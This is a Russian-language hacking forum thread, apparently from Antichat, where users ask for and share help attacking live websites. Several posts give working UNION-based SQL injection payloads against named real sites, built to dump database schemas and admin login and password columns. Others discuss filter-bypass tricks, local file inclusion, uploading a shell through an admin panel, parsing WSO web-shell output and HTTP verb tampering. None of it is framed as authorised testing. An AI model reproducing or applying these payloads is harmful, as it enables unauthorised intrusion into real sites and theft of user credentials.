Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. smirk

    smirk Elder - Старейшина

    Joined:
    8 Sep 2011
    Messages:
    137
    Likes Received:
    43
    Reputations:
    26
    всем привет.
    я пока что новичок в sql уязвимостях, так вот никак не получается вывести столбцы из таблицы users
    Code:
    http://versos.ru/allautors/verso.html?id=-27+union+select+1,2,column_name,4,5+ from+information_schema.columns+where+table_name='users'+--+
    хотя он и из любой таблицы не выводит...
    Заранее спасибо.
     
  2. pirat0

    pirat0 Member

    Joined:
    16 Jan 2011
    Messages:
    71
    Likes Received:
    6
    Reputations:
    -1
    для того чтобы вывести столбцы, переведи users в хекс,
    тоисть так должно работать
    Code:
    http://versos.ru/allautors/verso.html?id=-27+union+select+1,2,column_name,4,5+ from+information_schema.columns+where+table_name=0x7573657273+--+
    0х7573... без пробела!!!
     
    #18042 pirat0, 11 Oct 2011
    Last edited: 11 Oct 2011
  3. smirk

    smirk Elder - Старейшина

    Joined:
    8 Sep 2011
    Messages:
    137
    Likes Received:
    43
    Reputations:
    26
    хах точно, обычно просто users и т.д. буду знать.
    Спасибо.
     
  4. ysmat

    ysmat Member

    Joined:
    20 Apr 2006
    Messages:
    89
    Likes Received:
    5
    Reputations:
    -3
    чем отличаеться функция include от функции require
    к примеру есть ли тут уязвимость
    хотя бы LFI с учетом того что PHP версии 5.3
    PHP:
    function included ()
    {
    $config $GLOBALS['part']['included'];
    require(
    PATH '/lib/temp/' strtolower($conf['part']['included']) . '.php');
    }
     
  5. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    отличаются тем что, после того как функция require возвращает логический false скрипт останавливает работу фатально, а если include возвращает false то скрипт продолжает работу

    грубо говоря, если подключаемый файл не найден или путь не верно то require завершит работу скрипта, а в случий include скрипт продолжает работу
    в твоем примере инклуда нету
     
    _________________________
  6. ysmat

    ysmat Member

    Joined:
    20 Apr 2006
    Messages:
    89
    Likes Received:
    5
    Reputations:
    -3
    а почему нету $conf на самом деле $config это просто
    моя опечатка
    другое дело я не знаю как отсечь разширение .php
    в 5.3 версии
    ведь не нуль байт ни не его замена с большим количеством на слешей не работают
     
  7. AKYLA

    AKYLA Elder - Старейшина

    Joined:
    29 Nov 2007
    Messages:
    108
    Likes Received:
    35
    Reputations:
    6
    Ребята кто шарит в скулях, подскажите плиз как сформировать правильно строку запроса
     
  8. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    SELECT * FROM adclass WHERE active='on' ORDER BY updates DESC LIMIT 10, 10
     
  9. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Или как раскрутить? Раскрутить можно если только возможно чтение и запись файлов, а вместо -10, как я понял вы можете подставить любое слово. Злонамеренный код можно использовать как разделитель.
     
  10. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    помогите расскрутить
    Code:
    http://www.watchfashion.ru/search/
    в поле поиск в Post запросе ошибка
     
  11. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    В строке поиска:
    Code:
    ') and false union select 1,2,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4,5,6,7,8,9,10#
     
    _________________________
    1 person likes this.
  12. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    не пойму почему дальше не выводится?!?!?
    Code:
    ') and false union select 1,2,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_name!=0x61646d696e5f7573657273)and(0x00)in(@x:=concat(@x,0x3c62723e,id,0x2e,login,0x3a,passwd))))x),4,5,6,7,8,9,10#
     
  13. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Потому что необходимо знать базовый синтаксис SQL запросов.
     
    _________________________
  14. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    AND это не операция сложения, это просто операция объединения выражений. Таким образом

    1 and 1=1 означает выражение "если 1 истина И 1 РАВНО 1, то и все выражение истинно." Следовательно, выражение
    1 and 1=2 означает "если 1 истина И 1 РАВНО 2, то выражение истинно", но т.к. 1 не равно 2, то все выражение ложно.


    комментарий с пробелом ставится при многострочных запросах.
     
    3 people like this.
  15. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Не только при многострочных запросах, но и если переменная, в которую мы инжектим имеет тип string. В этом случае комментарий ставится для отсечения лишней кавычки (')
     
    2 people like this.
  16. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    2.1 Нет, не всегда, только когда запрос многострочный (солидарен с Попугаем).
    Как варианты, можно обрезать запросы либо нулл-байтом (%00), или знаками комментариев (/* или -- или # в зависимости от версий).

    2.2 -- Ставится для обрезания дополнительной части основного запроса.
    + в этом случае играет роль пробела, то есть комментарий вида +--+ эквивалентен /**/--/**/.
    Также вместо плюса можно использовать или пробел, или комментарий /**/ или знак табуляции %09 или скобки (0)union(select(1)). Всё зависит от конкретного случая. Точнее от используемой фильтрации.
    Опять же зачастую бывает, что обрезать комментарием мало, поэтому в конце запроса вместо +--+ ставят +--+1

    Одним словом, нужно экспериментировать на практике.
     
    _________________________
    1 person likes this.
  17. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Самый простой, взятый из практики

    Code:
    http://sport-razgrom.ru/view_search.php?submit_s=%C8%F1%EA%E0%F2%FC&search=0')union(select(1),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),3,4,5,6,7,8)--+   FALSE
    
    http://sport-razgrom.ru/view_search.php?submit_s=%C8%F1%EA%E0%F2%FC&search=0')union(select(1),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),3,4,5,6,7,8)--+1  TRUE
    Обнаружение SQL-инъекции = не всегда подстановка кавычек. Проверяется подзапросами

    Code:
     id=1+and+1=1
    id=1+and+1=2 
    Разный результат говорит о наличии инъекций...
    Опять же, способов выявления SQL-инъекций множество.

    Боже мой, да что я тут распинаюсь, Уважаемый, почитайте мануалы про простейшим инъекциям, азы вам объяснять?? Тут ни у кого нет ни времени, ни желания. Помощь - другое дело.
     
    _________________________
  18. Cherep

    Cherep New Member

    Joined:
    30 May 2010
    Messages:
    158
    Likes Received:
    1
    Reputations:
    -10
    есть html файл с куском таблицы из wso.
    тоесть тупо кусок вида
    Code:
    
    1 столбик / 2 столбик / 3 столбик / 4 столбик/
    данные   /  данные   / данные    / данные   /
    
    в исходнике, всё это отображается вот так
    Code:
    
    <table class="main" style="background-color: rgb(41, 41, 41);" width="100%" cellpadding="2" cellspacing="1"><tbody><tr><th>1 столбик</th><th>2 столбик</th><th>3 столбик</th><th>4 столбик</th></tr><tr></tr><tr class="l2"><td>данные</td><td>данные</td><td>данные</td><td>данные</td>
    
    
    
    
    

    мб кто обьяснит, или поможет как спарсить этот кусок до вида

    Code:
     1 столбик/ 2 столбик
     данные  /  данные
     
  19. BLurpi^_^

    BLurpi^_^ Banned

    Joined:
    9 Feb 2011
    Messages:
    218
    Likes Received:
    26
    Reputations:
    9
    а можно поподробнее?а то уже минут 40 лазию по админке не могу никак залить :confused:
     
  20. Kuteke

    Kuteke Banned

    Joined:
    26 Jun 2010
    Messages:
    179
    Likes Received:
    26
    Reputations:
    6
    Может кто-нибудь помощь с HTTP Verb Tampering. Я отправляю PUT, DELETE, OPTIONS и т.д. Но какая польза? Можно ли проникнуть в сайт? Спасибо.

    P.S. В гугле копал, ничего не нашел про эксплуатацию(кроме обхода VBAAC, Гольцева..)
     
Thread Status:
Not open for further replies.